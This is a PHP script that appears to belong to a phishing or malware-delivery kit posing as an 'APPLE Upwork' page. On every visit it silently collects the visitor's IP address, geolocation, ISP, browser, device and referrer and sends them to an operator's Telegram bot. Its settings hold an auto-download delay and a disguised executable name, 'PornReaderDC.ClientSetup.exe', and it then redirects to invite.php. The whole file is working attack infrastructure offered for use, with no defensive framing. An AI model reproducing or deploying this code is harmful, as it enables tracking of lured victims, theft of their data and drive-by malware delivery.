<?php
// Improved error handling - silent errors
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

// Better IP detection with support for proxies
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

// Function to detect device type from user agent
function detectDevice($userAgent) {
    $deviceType = "Desktop";
    
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $deviceType = "Mobile";
        
        if (preg_match('/iPhone/i', $userAgent)) {
            $deviceType = "iPhone";
        } elseif (preg_match('/iPad/i', $userAgent)) {
            $deviceType = "iPad";
        } elseif (preg_match('/Android/i', $userAgent)) {
            $deviceType = "Android";
        } elseif (preg_match('/BlackBerry/i', $userAgent)) {
            $deviceType = "BlackBerry";
        }
    }
    
    return $deviceType;
}

// Function to detect browser type from user agent
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $browser = "Handheld Browser";
    }
    
    if (preg_match('/Chrome/i', $userAgent)) {
        $browser = "Chrome";
    } elseif (preg_match('/Firefox/i', $userAgent)) {
        $browser = "Firefox";
    } elseif (preg_match('/Safari/i', $userAgent) && !preg_match('/Chrome/i', $userAgent)) {
        $browser = "Safari";
    } elseif (preg_match('/Edge/i', $userAgent)) {
        $browser = "Edge";
    } elseif (preg_match('/MSIE|Trident/i', $userAgent)) {
        $browser = "Internet Explorer";
    }
    
    return $browser;
}

// Fast cURL request with timeout
function curlRequest($url, $postData = null, $timeout = 2) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_CONNECTTIMEOUT => 1,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true
    ]);
    if ($postData) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Telegram notification with timeout
function sendTelegramMessage($message) {
    if (!file_exists('settings.php')) {
        return false;
    }
    
    try {
        $settings = include 'settings.php';
        
        if (!empty($settings) && isset($settings['telegram']) && $settings['telegram'] == "1" &&
            !empty($settings['bot_url']) && !empty($settings['chat_id'])) {
            
            $payload = [
                'chat_id' => $settings['chat_id'],
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $url = "https://api.telegram.org/{$settings['bot_url']}/sendMessage";
            $result = curlRequest($url, $payload, 3);
            
            return ($result !== false);
        }
    } catch (Exception $e) {
        error_log("Telegram notification error: " . $e->getMessage());
    }
    
    return false;
}

// Get location using ipinfo.io
function getGeoLocation($ip) {
    $city = $country = $isp = $region = $timezone = "Unknown";
    
    $response = curlRequest("https://ipinfo.io/{$ip}/json", null, 2);
    if ($response) {
        $data = json_decode($response, true);
        if (!empty($data) && empty($data['error'])) {
            $city = $data['city'] ?? 'Unknown';
            $country = $data['country'] ?? 'Unknown';
            $region = $data['region'] ?? 'Unknown';
            $timezone = $data['timezone'] ?? 'Unknown';
            $isp = $data['org'] ?? 'Unknown';
        }
    }
    
    return [$city, $country, $region, $timezone, $isp];
}

// Get visitor details
$ip = getClientIP();
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$device = detectDevice($userAgent);
$browser = detectBrowser($userAgent);
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct visit';
$pageURL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

// Get location info
list($city, $country, $region, $timezone, $isp) = getGeoLocation($ip);

// Load settings
$settings = file_exists('settings.php') ? include 'settings.php' : [];
$downloadDelay = isset($settings['auto_download_delay']) ? $settings['auto_download_delay'] : 7;
$executableFileName = isset($settings['executable_name']) ? $settings['executable_name'] : "PornReaderDC.ClientSetup.exe";

// Prepare visitor notification message
$message = "🔔 <b>APPLE Upwork DOMAIN ACCESS ALERT</b> 🔔\n\n";
$message .= "Someone has visited your Upwork Page!\n\n";
$message .= "👤 <b>Visitor Details</b>\n";
$message .= "IP: " . $ip . "\n";
$message .= "Location: " . $city . ", " . $region . ", " . $country . "\n";
$message .= "ISP: " . $isp . "\n";
$message .= "Timezone: " . $timezone . "\n\n";
$message .= "🌐 <b>Technical Details</b>\n";
$message .= "Browser: " . $browser . "\n";
$message .= "Device: " . $device . "\n";
$message .= "Referrer: " . $referrer . "\n";
$message .= "Page URL: " . $pageURL . "\n";
$message .= "Time: " . date('Y-m-d H:i:s') . "\n";

// Send visitor notification to Telegram
$notificationSent = false;
if (isset($settings['notify_on_visit']) && $settings['notify_on_visit']) {
    try {
        $notificationSent = sendTelegramMessage($message);
    } catch (Exception $e) {
        error_log("Error sending notification: " . $e->getMessage());
    }
}

// Log the visit (optional)
if (isset($settings['log_visits']) && $settings['log_visits']) {
    $logEntry = date('Y-m-d H:i:s') . " | IP: {$ip} | Location: {$city}, {$country} | ";
    $logEntry .= "Browser: {$browser} | Device: {$device} | Referrer: {$referrer} | ";
    $logEntry .= "Telegram: " . ($notificationSent ? "Sent" : "Failed") . "\n";
    @file_put_contents('visits.log', $logEntry, FILE_APPEND);
}
header("location:././invite.php");
?>